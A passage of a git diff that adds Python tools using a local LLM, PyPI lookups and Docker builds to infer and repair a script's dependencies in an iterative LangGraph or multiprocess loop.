+    pypi = PyPIQuery(logging=True, base_modules=state["base_modules"])
+    deps = DepsScraper(logging=True)
+    docker_helper = DockerHelper(logging=True)
+
+
+def cached_get_module_specifics(input_data):
+    key = str(input_data)
+    if key in pypi_cache:
+        return pypi_cache[key]
+
+    result = pypi.get_module_specifics(input_data)
+    pypi_cache[key] = result
+    return result
+
+
+def is_repeated_failure(state: PLLMState):
+    current_key = (
+        tuple(sorted(state["python_modules"].items())),
+        state.get("python_version"),
+    )
+    for past in state["failure_memory"]:
+        past_key = (
+            tuple(sorted(past.get("modules", {}).items())),
+            past.get("python_version"),
+        )
+        if past_key == current_key:
+            return True
+    return False
+
+
+def get_tried_versions_for_module(state: PLLMState, module_name: str):
+    tried = set()
+    for past in state.get("failure_memory", []):
+        version = past.get("modules", {}).get(module_name)
+        if version:
+            tried.add(version)
+    return tried
+
+
+
+# --------- NODES ----------
+
+def evaluate_file_node(state: PLLMState) -> PLLMState:
+    if not ollama_helper:
+        init_helpers(state)
+
+    try:
+        state["python_file"] = ollama_helper.read_python_file(state["file_path"])
+        llm_eval = ollama_helper.evaluate_file(state["file_path"])
+
+        state["python_version"] = llm_eval.get("python_version", "3.8")
+
+        modules = llm_eval.get("python_modules", {})
+        if isinstance(modules, list):
+            state["python_modules"] = {mod: "" for mod in modules}
+        else:
+            state["python_modules"] = modules
+
+        state["logs"].append("Evaluated file")
+
+    except Exception as e:
+        state["errors"].append({"type": "EvaluationError", "details": str(e)})
+        state["logs"].append(f"Evaluation failed: {e}")
+
+    return state
+
+def resolve_modules_node(state: PLLMState) -> PLLMState:
+    try:
+        python_deps = []
+
+        if state["rag"]:
+            python_deps = deps.find_word_in_file(state["file_path"], 'import', [])
+
+        python_deps = pypi.check_module_name(
+            python_deps + list(state["python_modules"].keys())
+        )
+
+        state["python_modules"] = {mod: "" for mod in python_deps}
+
+        python_modules_list, state["python_version"] = cached_get_module_specifics({
+            "python_modules": list(state["python_modules"].keys()),
+            "python_version": state["python_version"]
+        })
+
+        state["python_modules"] = ollama_helper.get_module_versions({
+            "python_modules": python_modules_list,
+            "python_version": state["python_version"]
+        })
+
+        for mod, ver in list(state["python_modules"].items()):
+            if not ver or (isinstance(ver, str) and ver.lower() == "none") or not is_valid_version(str(ver)):
+                state["python_modules"][mod] = ""
+
+        state["logs"].append("Modules resolved")
+
+    except Exception as e:
+        state["errors"].append({"type": "ResolutionError", "details": str(e)})
+
+    return state
+
+
+def validate_dependencies_node(state: PLLMState) -> PLLMState:
+    try:
+        invalid = [m for m, v in state["python_modules"].items() if not v or not is_valid_version(str(v))]
+
+        if invalid:
+            state["errors"].append({
+                "type": "ValidationError",
+                "details": f"Missing or invalid versions for {invalid}"
+            })
+            state["build_success"] = False
+        else:
+            state["logs"].append("Validation passed")
+
+    except Exception as e:
+        state["errors"].append({"type": "ValidationError", "details": str(e)})
+
+    return state
+
+
+def build_container_node(state: PLLMState) -> PLLMState:
+    try:
+        if is_repeated_failure(state):
+            state["logs"].append("Skipping repeated failure config")
+            state["build_success"] = False
+            return state
+
+        docker_helper.create_dockerfile({
+            "python_version": state["python_version"],
+            "python_modules": state["python_modules"]
+        }, state["file_path"])
+
+        success, _, error, error_type = docker_helper.build_dockerfile(state["file_path"])
+        state["build_success"] = success
+
+        if not success:
+            state["errors"].append({"type": error_type, "details": error})
+
+    except Exception as e:
+        state["errors"].append({"type": "BuildError", "details": str(e)})
+
+    return state
+
+
+def run_container_node(state: PLLMState) -> PLLMState:
+    try:
+        output = docker_helper.run_container_test()
+
+        error_type, details = ollama_helper.process_error(
+            output,
+            state["errors"],
+            {
+                "python_modules": state["python_modules"],
+                "python_version": state["python_version"]
+            }
+        )
+
+        state["run_success"] = (error_type is None or error_type == "None")
+
+        if not state["run_success"]:
+            state["errors"].append({"type": error_type, "details": details})
+
+    except Exception as e:
+        state["errors"].append({"type": "RunError", "details": str(e)})
+
+    return state
+
+
+def is_valid_version(version):
+    import re
+    return bool(re.match(r'^\d+(?:\.\d+)*(?:[a-zA-Z0-9]+)?$', version))
+
+
+def extract_available_versions(error_details):
+    """Extract available versions from pip error message.
+    Example: 'from versions: 2.32.2, 2.32.3, 2.32.4)' returns ['2.32.2', '2.32.3', '2.32.4']"""
+    import re
+    match = re.search(r'from versions:\s*([^)]+)\)', error_details)
+    if match:
+        version_str = match.group(1)
+        versions = [v.strip() for v in version_str.split(',')]
+        # Ignore invalid or placeholder versions like 'none'
+        valid_versions = [v for v in versions if v and v.lower() != 'none' and is_valid_version(v)]
+        return valid_versions
+    return []
+
+
+def select_latest_version(versions):
+    """Select the latest valid version from a list."""
+    if not versions:
+        return None
+
+    # Filter only truly parseable versions
+    filtered_versions = [v for v in versions if is_valid_version(v)]
+    if not filtered_versions:
+        return None
+
+    try:
+        def version_key(v):
+            parts = []
+            for part in v.split('.'):
+                numeric_part = ''
+                for char in part:
+                    if char.isdigit():
+                        numeric_part += char
+                    else:
+                        break
+                parts.append(int(numeric_part) if numeric_part else 0)
+            return tuple(parts)
+        
+        sorted_versions = sorted(filtered_versions, key=version_key, reverse=True)
+        return sorted_versions[0]
+    except Exception:
+        return filtered_versions[-1] if filtered_versions else None
+
+
+def handle_error_node(state: PLLMState) -> PLLMState:
+    # Stop if max iterations reached
+    if state["iteration"] >= state["max_iterations"]:
+        return state
+
+    # Early stopping (Useful for final evaluation)
+    if len(state["errors"]) == state.get("last_error_count", -1):
+        state["logs"].append("No progress, stopping early")
+        state["iteration"] = state["max_iterations"]
+        return state
+
+    state["last_error_count"] = len(state["errors"])
+
+    if not state["errors"]:
+        return state
+
+    last_error = state["errors"][-1]
+    error_type = last_error.get("type", "Unknown")
+    module = last_error.get("module")
+
+    # Detect repeated state
+    current_signature = {
+        "modules": state["python_modules"].copy(),
+        "python_version": state.get("python_version")
+    }
+
+    if current_signature in state.get("attempted_fixes", []):
+        state["logs"].append("Repeated state detected → resetting versions")
+        for mod in state["python_modules"]:
+            state["python_modules"][mod] = ""
+        state["iteration"] += 1
+        state["errors"] = []
+        return state
+
+    state.setdefault("attempted_fixes", []).append(current_signature)
+
+    if error_type in ["ImportError", "ModuleNotFound", "AttributeError"]:
+        if module and module in state["python_modules"]:
+            state["logs"].append(f"Removing problematic module: {module}")
+            state["python_modules"].pop(module, None)
+
+    elif error_type in ["VersionNotFound", "DependencyConflict"]:
+        state["logs"].append("Resetting all module versions")
+        for mod in state["python_modules"]:
+            state["python_modules"][mod] = ""
+
+    elif error_type in ["SyntaxError", "NameError"]:
+        state["logs"].append("Code-level error detected → stopping")
+        state["iteration"] = state["max_iterations"]
+        return state
+
+    else:
+        state["logs"].append(f"Fallback reset for error: {error_type}")
+        for mod in state["python_modules"]:
+            state["python_modules"][mod] = ""
+
+    state["iteration"] += 1
+    state["errors"] = []
+
+    return state
+
+
+def log_results_node(state: PLLMState) -> PLLMState:
+    total_time = time.time() - state["start_time"]
+
+    print("\n----- FINAL LOGS ------")
+    print("\n".join(state["logs"]))
+    print(f"\nTime: {total_time:.2f}s | Iterations: {state['iteration']} | Success: {state['run_success']}")
+
+    return state
+
+
+# ----------- GRAPH ----------
+def create_pllm_graph():
+    graph = StateGraph(PLLMState)
+
+    graph.add_node("evaluate", evaluate_file_node)
+    graph.add_node("resolve", resolve_modules_node)
+    graph.add_node("validate", validate_dependencies_node)
+    graph.add_node("build", build_container_node)
+    graph.add_node("run", run_container_node)
+    graph.add_node("handle_error", handle_error_node)
+    graph.add_node("log", log_results_node)
+
+    graph.set_entry_point("evaluate")
+
+    graph.add_edge("evaluate", "resolve")
+    graph.add_edge("resolve", "validate")
+
+    graph.add_conditional_edges(
+        "validate",
+        lambda state: "build" if not state["errors"] else "handle_error"
+    )
+
+    graph.add_conditional_edges(
+        "build",
+        lambda state: "run" if state["build_success"] else "handle_error"
+    )
+
+    graph.add_conditional_edges(
+        "run",
+        lambda state: "log"
+        if state["run_success"] or state["iteration"] >= state["max_iterations"]
+        else "handle_error"
+    )
+
+    graph.add_conditional_edges(
+        "handle_error",
+        lambda state: "log"
+        if state["iteration"] >= state["max_iterations"]
+        else "resolve"
+    )
+
+    graph.add_edge("log", END)
+
+    return graph.compile()
+
+
+
+# -------- MAIN ---------
+
+def main():
+    parser = argparse.ArgumentParser()
+
+    parser.add_argument('-f', '--file', required=True)
+    parser.add_argument('-b', '--base', default='http://localhost:11434')
+    parser.add_argument('-m', '--model', default='llama3.1:8b')
+    parser.add_argument('-l', '--loop', type=int, default=5)
+    parser.add_argument('-ra', '--rag', type=bool, default=True)
+
+    args = parser.parse_args()
+
+    target_dir = os.path.dirname(args.file) or os.getcwd()
+    candidate_base_modules = os.path.join(target_dir, "modules")
+
+    def safe_base_modules(path):
+        try:
+            os.makedirs(path, exist_ok=True)
+            return path
+        except PermissionError:
+            return None
+
+    base_modules = safe_base_modules(candidate_base_modules)
+    if base_modules is None:
+        candidate_base_modules = os.path.join(os.getcwd(), "modules")
+        base_modules = safe_base_modules(candidate_base_modules)
+
+    if base_modules is None:
+        candidate_base_modules = os.path.expanduser("~/.custom_pllm/modules")
+        base_modules = safe_base_modules(candidate_base_modules)
+
+    if base_modules is None:
+        raise PermissionError(f"No writable modules directory found. Tried: {candidate_base_modules}")
+
+    initial_state: PLLMState = {
+        "file_path": args.file,
+        "python_file": "",
+        "python_version": "3.8",
+        "python_modules": {},
+        "iteration": 0,
+        "max_iterations": args.loop,
+        "errors": [],
+        "build_success": False,
+        "run_success": False,
+        "logs": [],
+        "start_time": time.time(),
+        "base_modules": base_modules,
+        "rag": args.rag,
+        "model": args.model,
+        "base_url": args.base,
+
+        # NEW
+        "failure_memory": [],
+        "attempted_fixes": [],
+        "last_error_count": -1
+    }
+
+    graph = create_pllm_graph()
+    graph.invoke(initial_state)
+
+
+if __name__ == "__main__":
+    main()
\ No newline at end of file
diff --git a/tools/custom_pllm/test_executor.py b/tools/custom_pllm/test_executor.py
new file mode 100644
index 00000000..be08b801
--- /dev/null
+++ b/tools/custom_pllm/test_executor.py
@@ -0,0 +1,436 @@
+# Python file to validate a full paththrough
+# Everything should be automated through this file
+import argparse
+import json
+import time
+import multiprocessing as mp
+from multiprocessing import Process
+
+from helpers.ollama_helper_tester import OllamaHelper
+from helpers.py_pi_query import PyPIQuery
+from helpers.build_dockerfile import DockerHelper
+from helpers.deps_scraper import DepsScraper
+
+class TestExecutor():
+
+    def __init__(self, base_url="http://localhost:11434", model='gemma2', logging=True, temp=0.7, end_loop=5, search_range=1, base_modules='./modules') -> None:
+        # Initiate instance of Ollama helper and PyPi Query
+        print(f'Running model- {model} with temp {temp}. Looping {end_loop} times with a search range of {search_range}')
+        self.ollama_helper = OllamaHelper(base_url=base_url, model=model, logging=logging, temp=temp, base_modules=base_modules)
+        self.pypi = PyPIQuery(logging=True, base_modules=base_modules)
+        self.deps = DepsScraper(logging=True)
+        self.end_loop = end_loop
+        self.search_range = search_range
+        self.start_time = time.time()
+        pass
+
+    # Defines JSONObject dictionary for dot notation
+    def validate_json(self, json_string):
+        try:
+            json.loads(json_string)
+        except ValueError as err:
+            return False
+        return True
+
+    # Reads the contents of the given file
+    def read_python_file(self, file):
+        with open(file, 'r') as file:
+            data = file.read().replace('\n', '')
+        return data
+
+    def evaluate_file(self, llm, file):
+        # First LLM pass- Evaluates the Python file and gives us the initial JSON
+        llm_eval = llm.evaluate_file(file)
+        llm_eval['python_version'] = str(llm_eval['python_version'])
+
+        # Should normally be a list. Re-format to a list if it is a dict.
+        python_modules = llm_eval['python_modules']
+        if type(python_modules) == dict:
+            list_modules = []
+            for module in python_modules:
+                list_modules.append(module)
+            llm_eval['python_modules'] = list_modules
+
+        return llm_eval
+
+    def get_module_specifics(self, llm, llm_eval):
+        # Uses the modules from the LLM output to get a specific set of versions for the inferred Python version
+        # Also returns an updated python version, based on what the model had provided
+        llm_eval['python_modules'], llm_eval['python_version'] = llm.pypi.get_module_specifics(llm_eval)
+        
+        module_versions = llm.get_module_versions(llm_eval)
+        llm_eval['python_modules'] = module_versions
+
+        return llm_eval
+
+    def build_container(self, dockerHelper, llm, llm_eval, file, error_details = {}):
+        # Build the docker image with the given JSON and file/ paths
+        dockerHelper.create_dockerfile(llm_eval, file)
+        passed, docker_build_output = dockerHelper.build_dockerfile(file)
+        if not passed:
+            print(docker_build_output)
+            output, error_type = llm.process_error(docker_build_output, error_details, llm_eval)
+            print(f"docker build failed!")
+            return False, docker_build_output, output, error_type
+        else:
+            print(f"docker build complete!")
+            return True, docker_build_output, None, None
+
+    # Handle and update modules and versions that have previously had errors
+    # Updates the 'error_modules' list to feed back ot the model later
+    def naughty_bois(self, module, error_handler, error_type, llm_eval):
+        error_handler[error_type] += 1
+        error_handler['previous'] = error_type
+
+        if module != None and module['module'] in llm_eval['python_modules']:
+            if module['module'] in error_handler['error_modules']:
+                error_handler['error_modules'][module['module']].append(llm_eval['python_modules'][module['module']])
+            else:
+                error_handler['error_modules'][module['module']] = [llm_eval['python_modules'][module['module']]]
+        else:
+            print('No previous this time!')
+
+        return error_handler
+
+
+    # Update the llm details
+    # Set previous modules, so our output is correct
+    # Removes and adds modules based on the new module returned by the LLM
+    def update_llm_eval(self, new, llm_eval):
+        details = llm_eval.copy()
+        details['previous_python_modules'] = details['python_modules'].copy()
+        if new != None:
+            module_name = self.pypi.check_module_name(new['module'])
+            module_name = module_name[0] if len(module_name) > 0 else module_name
+            # Check to see if we need to pop a module or add the new version
+            if new['version'] == None or new['version'] == 'None' or new['version'] == 'none' or new['version'] == '' and module_name in details['python_modules']:
+                details['python_modules'].pop(module_name)
+            else:
+                details['python_modules'][module_name] = new['version']
+        return details
+        
+    # Append module to the given list
+    def append_module(self, module_name, list):
+        return module_name in list
+    
+    # Method to shuffle the dependencies
+    # This is to ensure dependencies are installed in the correct order
+    def shuffle_modules(self, new_module, move_module, llm_details):
+        modules = []
+        python_modules = llm_details['python_modules'].copy()
+        for module in python_modules:
+            if module == move_module:
+                if not self.append_module(new_module, modules): modules.append(new_module)
+                if not self.append_module(move_module, modules): modules.append(move_module)
+            else:
+                if not self.append_module(module, modules): modules.append(module)
+
+        llm_details['python_modules'] = {module: python_modules[module] for module in modules}
+        return llm_details
+
+    # Main docker process loop
+    # This method is given as a process to run in parallel with each other
+    # Handles the main loop of building | running | validating
+    def docker_create_process(self, ollama_helper, llm_eval, file, process_num):
+        # Create the YAML file in the same folder as the snippet
+        dockerHelper = DockerHelper(logging=True)
+
+        # Get a set of modules, based on the evaluation
+        # Also pull down working versions from PyPi at the same time.
+        llm_eval = self.get_module_specifics(ollama_helper, llm_eval)
+
+        print(llm_eval)
+
+        # Dictionary to store erroring module versions and keep a list of error types
+        error_handler = {
+            'previous': '',
+            'error_modules': {},
+            'ImportError': 0,
+            'ModuleNotFound': 0,
+            'VersionNotFound': 0,
+            'DependencyConflict': 0,
+            'AttributeError': 0,
+            'NonZeroCode': 0,
+            'SyntaxError': 0,
+        }
+
+        # Get the project folder so we can write out our data file
+        project_dir, dir_name, project_file = dockerHelper.get_project_dir(file)
+        # File to open is unique based on the python version
+        file_to_open = f"{project_dir}/output_data_{llm_eval['python_version']}.yml"
+
+        # Output to the log file
+        output_file = open(file_to_open, "a")
+        output_file.write('---\n')
+        output_file.write(f"python_version: {llm_eval['python_version']}\n")
+        output_file.write(f"start_time: {self.start_time}\n")
+        output_file.write('iterations:\n')
+        output_file.close()
+        # Build loop
+        run_complete = False
+        build_complete = False
+        # job_complete = False
+        loop = 1
+        error_type = 'Unknown'  # Initialize error_type to avoid UnboundLocalError
+
+        while not run_complete:
+            error = ''
+            try:
+                print(f"In process {process_num}")
+                # time.sleep(5)
+                # Main build loop
+                while not build_complete:
+                    # Build the container and report any error that may occur during the build
+                    # Returns if the build completed, docker output (error), output (details from the LLM) and the error type
+                    build_complete, docker_output, output, error_type = self.build_container(dockerHelper, ollama_helper, llm_eval, file, error_handler)
+                    # If the build failed, handle the error
+                    if not build_complete:
+                        # Update error_handler with any failing module and version
+                        error_handler = self.naughty_bois(output, error_handler, error_type, llm_eval)
+                        # Update the LLM details with the information from the build ouput
+                        llm_eval = self.update_llm_eval(output, llm_eval)
+                        # If we had an import error, and a non zero code, then we may have an ordering issue and need to reshuffle the modules
+                        if error_type == 'ImportError' and 'returned a non-zero code: 1' in docker_output:
+                            zero_code_module = ollama_helper.non_zero_error(docker_output)
+                            llm_eval = self.shuffle_modules(output['module'], zero_code_module, llm_eval)
+                        # Given a Non Zero and PATH environment in the output, remove this module as it may be completely erroneous
+                        if error_type == 'NonZeroCode' and 'PATH environment' in docker_output:
+                            llm_eval['python_modules'].pop(output['module'])
+                        # Update the loop number and log the details to the log file
+                        loop = self.end_test(file_to_open, llm_eval, dockerHelper, error_type, docker_output, loop, False)
+
+                # while not run_complete:
+                docker_output = dockerHelper.run_container_test()
+                print(docker_output)
+
+                # Processes Docker run information (after a build has been successul we must run it to see if everything is correct)
+                output, error_type = ollama_helper.process_error(docker_output, error_handler, llm_eval)
+                
+                # Direct the flow to the correct error logging method
+                if 'ImportError' in error_type:
+                    if 'DJANGO_SETTINGS_MODULE is undefined' in docker_output:
+                        run_complete = True
+                        llm_eval = self.update_llm_eval(output, llm_eval)
+                    else:
+                        build_complete = False
+                        error_handler = self.naughty_bois(output, error_handler, error_type, llm_eval)
+                        llm_eval = self.update_llm_eval(output, llm_eval)
+                elif 'VersionNotFound' in error_type:
+                    build_complete = False
+                    error_handler = self.naughty_bois(output, error_handler, error_type, llm_eval)
+                    llm_eval = self.update_llm_eval(output, llm_eval)
+                elif 'DependencyConflict' in error_type:
+                    build_complete = False
+                    error_handler = self.naughty_bois(output, error_handler, error_type, llm_eval)
+                    llm_eval = self.update_llm_eval(output, llm_eval)
+                elif 'ModuleNotFound' in error_type:
+                    build_complete = False
+                    error_handler = self.naughty_bois(output, error_handler, error_type, llm_eval)
+                    llm_eval = self.update_llm_eval(output, llm_eval)
+                elif 'AttributeError' in error_type:
+                    build_complete = False
+                    error_handler = self.naughty_bois(output, error_handler, error_type, llm_eval)
+                    llm_eval = self.update_llm_eval(output, llm_eval)
+                elif 'InvalidVersion' in error_type:
+                    build_complete = False
+                    error_handler = self.naughty_bois(output, error_handler, error_type, llm_eval)
+                    llm_eval = self.update_llm_eval(output, llm_eval)
+                elif 'NonZeroCode' in error_type:
+                    build_complete = False
+                    error_handler = self.naughty_bois(output, error_handler, error_type, llm_eval)
+                    if output['module'] in llm_eval['python_modules']:
+                        llm_eval['python_modules'].pop(output['module'])
+                elif 'SyntaxError' in error_type:
+                    build_complete = False
+                    error_handler = self.naughty_bois(output, error_handler, error_type, llm_eval)
+                    llm_eval = self.update_llm_eval(output, llm_eval)
+                elif 'NameError' in error_type:
+                    run_complete = True
+                    error_handler = self.naughty_bois(output, error_handler, error_type, llm_eval)
+                    llm_eval = self.update_llm_eval(output, llm_eval)
+                elif 'None' in error_type:
+                    run_complete = True
+                    llm_eval = self.update_llm_eval(None, llm_eval)
+            except Exception as e:
+                print(f"Failed to build container: {e}")
+            # Update the loop number and log the details to the log file
+            loop = self.end_test(file_to_open, llm_eval, dockerHelper, error_type, docker_output, loop, run_complete)
+        
+        # If we've left the while loop then we need to make sure everything is killed correctly
+        loop = self.end_loop
+        # Update the loop number and log the details to the log file
+        self.end_test(file_to_open, llm_eval, dockerHelper, error_type, docker_output, loop, True)
+
+    # Logging specific, ensures correct spaces in log file to avoid later errors
+    def ensure_8_spaces(self, line):
+        if not line.startswith(' ' * 8):
+            return ' ' * 8 + line.lstrip()
+        return line
+
+    # Fixes lines in error message as the outputs from the docker logs can be wildy different
+    def fix_error_line(self, line):
+        if '\t' in line:
+            line = line.replace('\t', '  ')
+
+        if 'TabError:' in line:
+            line = '  ' + line
+
+        # Remove any special characters
+        if '␛' in line or '␈' in line or '␛' in line or '␛[' in line:
+            line = line.replace('␛', '').replace('␈', '').replace('␛', '').replace('␛[', '')
+
+        # Ensure a line is indented correctly
+        if 'ETA' in line or '0us/step' in line:
+            line = self.ensure_8_spaces(line)
+
+        return line
+
+    # Handles the logging of the error messages and iterations to the log file
+    def end_test(self, file_to_open, llm_eval, dockerHelper, error_type, docker_message, loop, run_complete):
+        out_file = open(file_to_open, "a")
+        python_modules = llm_eval["previous_python_modules"] if 'previous_python_modules' in llm_eval else llm_eval['python_modules']
+        out_file.write(f"  iteration_{loop}:\n")
+        out_file.write(f'    - python_module: {python_modules}\n')
+        out_file.write(f'    - error_type: {error_type}\n')
+        out_file.write(f'    - error: |\n')
+        if '"stream"' in docker_message:
+            error_message = docker_message.replace('{"stream":"', '').replace(':', '')
+            docker_message = error_message[:-5]
+        previous_line = ''
+        extend = ''
+        for line in docker_message.split('\n'):
+            if not line == '':
+            # if not line == '' and not 'errorDetail' in line:
+                if '^' in previous_line: extend = '  '  #and not 'iteration' in previous_line else '' # If there's a '^' in the previous line then we need to indent more for formatting
+                out_line = f'        {line}\n'
+                out_line = self.fix_error_line(out_line)
+                out_file.write(f'{extend}{out_line}')
+                previous_line = line
+        print(loop)
+        if loop + 1 > self.end_loop or run_complete:
+            end_time = time.time()
+            out_file.write(f'end_time: {end_time}\n')
+            out_file.write(f'total_time: {end_time - self.start_time}')
+            out_file.close()
+            dockerHelper.delete_container()
+            dockerHelper.delete_image()
+            exit(0)
+        else:
+            return loop + 1
+
+# Handle argument parsing
+def process_args():
+    def str2bool(value):
+        """Convert a string representation of a boolean to an actual boolean value."""
+        if isinstance(value, bool):
+            return value
+        if value.lower() in ('yes', 'true', 't', 'y', '1'):
+            return True
+        elif value.lower() in ('no', 'false', 'f', 'n', '0'):
+            return False
+        else:
+            raise argparse.ArgumentTypeError(f'Boolean value expected, got "{value}".')
+
+    parser = argparse.ArgumentParser(description='File to evaluate')
+    parser.add_argument('-f', '--file', type=str, help="The full path and name of the file to evaluate")
+    parser.add_argument('-b', '--base', type=str, nargs="?", default='http://localhost:11434', const='http://localhost:11434', help="The ollama URL can vary depending on the system")
+    parser.add_argument('-m', '--model', type=str, nargs="?", default='phi3:medium', const='phi3:medium', help="The name of the model to use for evaluation")
+    parser.add_argument('-t', '--temp', type=str, nargs="?", default='0.7', const='0.7', help="The temperature for the models predictive output. Typically a range from 0-2, default is 0.7")
+    parser.add_argument('-l', '--loop', type=int, nargs="?", default=5, const=5, help="How many times we will loop to find a solution")
+    parser.add_argument('-r', '--range', type=int, nargs="?", default=0, const=0, help="The search range, expands out above and below the found Python version, defaults to 0")
+    parser.add_argument('-ra', '--rag', type=str2bool, nargs="?", default=True, const=True, help="Flag to enable RAG in the system.")
+    parser.add_argument('-v', '--verbose', action="store_true", help="Verbose logging of information")
+    return parser.parse_args()
+
+# Main loop
+def main():
+    llm_eval = None
+    llm_details = False
+    loop = 0
+    
+    # Process the arguments, file, model ...
+    args = process_args()
+    file_path = '/'.join(args.file.split('/')[:-1])
+
+    # Create the main 
+    testExecutor = TestExecutor(base_url=args.base, model=args.model, logging=True, temp=args.temp, end_loop=args.loop, search_range=args.range, base_modules=file_path+"/modules")
+    # Use a simple search to grab imports from file without the LLM
+    python_deps = []
+    if args.rag:
+        python_deps = testExecutor.deps.find_word_in_file(args.file, 'import', [])
+
+    # Loop to ensure we handle invalid responses from the model
+    while not llm_details:
+        try:
+            # Evaluate the file to get an initial set of assumptions
+            llm_eval = testExecutor.evaluate_file(testExecutor.ollama_helper, args.file)
+            
+            # Run through all the dependencies and clean them for use. Removes useless imports
+            python_deps = testExecutor.pypi.check_module_name(python_deps + llm_eval['python_modules'])
+
+            # Combine the simple search modules with the LLMs suggestions.
+            llm_eval['python_modules'] = python_deps
+
+            print(llm_eval)
+            llm_details = True
+        except Exception as e:
+            print(f"Failed to get Python modules from file: {e}")
+            llm_details = False
+            loop += 1
+        
+        if loop >= 5: break
+    # If the LLM didn't return anything, set the Python version to 3.8
+    if not llm_details:
+        llm_eval = {'python_version': '3.8'}
+        llm_eval['python_modules'] = testExecutor.pypi.check_module_name(python_deps)
+
+    # testExecutor.docker_create_process(ollama_helper, llm_eval, args.file, 1)
+    # Search range is how far either side of the found Python verion we want to look.
+    # For example, a value of 1 where the found version is 3.7 will return [3.6,3.7,3.8]
+    python_versions = testExecutor.pypi.get_python_range(python_version=llm_eval['python_version'], pyrange=testExecutor.search_range)
+    print(python_versions)
+    
+    # If python_versions is empty then there was an issue with versions.
+    # Give the lowest Python and work with this range
+    if not python_versions:
+        python_versions = testExecutor.pypi.get_python_range(python_version=llm_eval['python_version'], range=testExecutor.search_range)
+    num_processes = (testExecutor.search_range * 2) + 1
+
+    processes = []
+    
+    # NOTE: CHANGE THIS TO TEST SPECIFIC VERSION
+    # python_versions = ['3.8']
+
+    # Create and start the processes
+    for i in range(num_processes):
+        run_details = llm_eval.copy()
+        # Select a version from the python range
+        run_details['python_version'] = python_versions[i]
+        # run_details['python_version'] = '3.6'
+        # Give the docker create process, ollama helper, the snippet analysis, python file and the iteration
+        p = mp.Process(
+            target=testExecutor.docker_create_process,
+            args=(
+                OllamaHelper(base_url=args.base, model=args.model, logging=True, temp=args.temp, base_modules=file_path+"/modules", rag=args.rag),
+                run_details,
+                args.file,
+                i)
+            )
+        processes.append(p)
+        p.start()
+
+    # Wait for all processes to finish
+    for p in processes:
+        # Give the process 20 minutes to complete
+        p.join(timeout=1200)
+    
+    for p in processes:
+        if p.is_alive():
+            p.terminate()
+        else:
+            print("Processing completed without the timeout")
+
+if __name__ == "__main__":
+    main()
+
+    print(f"Done")
diff --git a/tools/pllm/helpers/ollama_helper_tester.py b/tools/pllm/helpers/ollama_helper_tester.py
index 7b981747..61dac2d3 100644
--- a/tools/pllm/helpers/ollama_helper_tester.py
+++ b/tools/pllm/helpers/ollama_helper_tester.py
@@ -634,7 +634,7 @@ def quit_all(self) -> None:
 """
     previous_versions = {'error_modules': {'django': ['1.9rc2']}}
 
-    versions = ollama_helper.pypi.read_python_file('cython', '2.7')
+    versions = ollama_helper.pypi.read_python_file('python', '2.7')
     print(versions)
 
     pass
diff --git a/tools/pllm/helpers/py_pi_query.py b/tools/pllm/helpers/py_pi_query.py
index 6ba46c07..bd09a9bc 100644
--- a/tools/pllm/helpers/py_pi_query.py
+++ b/tools/pllm/helpers/py_pi_query.py
@@ -257,7 +257,8 @@ def version_key(version):
                     # if idx > 0: module_details += ", "
                     # module_details += f"{module['version']} ({module['date']})"
                     # module_details += f"{module['version']}"
-                    module_versions.append(module['version'])
+                    if re.match(r'^\d+(\.\d+)*$', module['version']):
+                        module_versions.append(module['version'])
                 # module_details += "]"
                 # if self.logging: print(module_details)
             
diff --git a/tools/pllm/sprint2_pllm.py b/tools/pllm/sprint2_pllm.py
new file mode 100644
index 00000000..df908402
--- /dev/null
+++ b/tools/pllm/sprint2_pllm.py
@@ -0,0 +1,416 @@
+# langgraph_pipeline_full.py
+import os
+import argparse
+import time
+import re
+from typing import TypedDict, List, Dict, Any
+from langgraph.graph import StateGraph, END
+from helpers.ollama_helper_tester import OllamaHelper
+from helpers.py_pi_query import PyPIQuery
+from helpers.build_dockerfile import DockerHelper
+from helpers.deps_scraper import DepsScraper
+
+# --------- STATE SCHEMA ---------
+class PLLMState(TypedDict):
+    file_path: str
+    python_file: str
+    python_version: str
+    python_modules: Dict[str, str]
+    iteration: int
+    max_iterations: int
+    errors: List[Dict[str, Any]]
+    build_success: bool
+    run_success: bool
+    logs: List[str]
+    start_time: float
+    base_modules: str
+    rag: bool
+    model: str
+    base_url: str
+    failure_memory: List[Dict[str, Any]]
+    attempted_fixes: List[Dict[str, Any]]
+    last_error_count: int
+
+# --------- GLOBALS + CACHE ---------
+ollama_helper = None
+pypi = None
+deps = None
+docker_helper = None
+pypi_cache = {}
+
+# -------- HELPERS ---------
+def init_helpers(state: PLLMState):
+    global ollama_helper, pypi, deps, docker_helper
+    ollama_helper = OllamaHelper(
+        base_url=state["base_url"],
+        model=state["model"],
+        logging=True,
+        temp=0.7,
+        base_modules=state["base_modules"],
+        rag=state["rag"]
+    )
+    pypi = PyPIQuery(logging=True, base_modules=state["base_modules"])
+    deps = DepsScraper(logging=True)
+    docker_helper = DockerHelper(logging=True)
+
+def cached_get_module_specifics(input_data):
+    key = str(input_data)
+    if key in pypi_cache:
+        return pypi_cache[key]
+    result = pypi.get_module_specifics(input_data)
+    pypi_cache[key] = result
+    return result
+
+def is_repeated_failure(state: PLLMState):
+    current_key = (
+        tuple(sorted(state["python_modules"].items())),
+        state.get("python_version")
+    )
+    for past in state["failure_memory"]:
+        past_key = (
+            tuple(sorted(past.get("modules", {}).items())),
+            past.get("python_version")
+        )
+        if past_key == current_key:
+            return True
+    return False
+
+def is_valid_version(version):
+    return bool(re.match(r'^\d+(?:\.\d+)*(?:[a-zA-Z0-9]+)?$', version))
+
+def extract_available_versions(error_details):
+    match = re.search(r'from versions:\s*([^)]+)\)', error_details)
+    if match:
+        versions = [v.strip() for v in match.group(1).split(',')]
+        return [v for v in versions if v.lower() != 'none' and is_valid_version(v)]
+    return []
+
+def select_latest_version(versions):
+    if not versions:
+        return None
+    def version_key(v):
+        parts = []
+        for part in v.split('.'):
+            num = ''.join(filter(str.isdigit, part))
+            parts.append(int(num) if num else 0)
+        return tuple(parts)
+    return sorted(versions, key=version_key, reverse=True)[0]
+
+# --------- NODES ----------
+def evaluate_file_node(state: PLLMState) -> PLLMState:
+    if not ollama_helper:
+        init_helpers(state)
+    try:
+        state["python_file"] = ollama_helper.read_python_file(state["file_path"])
+        llm_eval = ollama_helper.evaluate_file(state["file_path"])
+        
+        # Validate that we got proper module data
+        if not llm_eval or not isinstance(llm_eval, dict) or "python_modules" not in llm_eval:
+            state["errors"].append({"type": "EvaluationError", "details": "LLM returned invalid evaluation data"})
+            state["logs"].append("Evaluation returned invalid data")
+            return state
+        
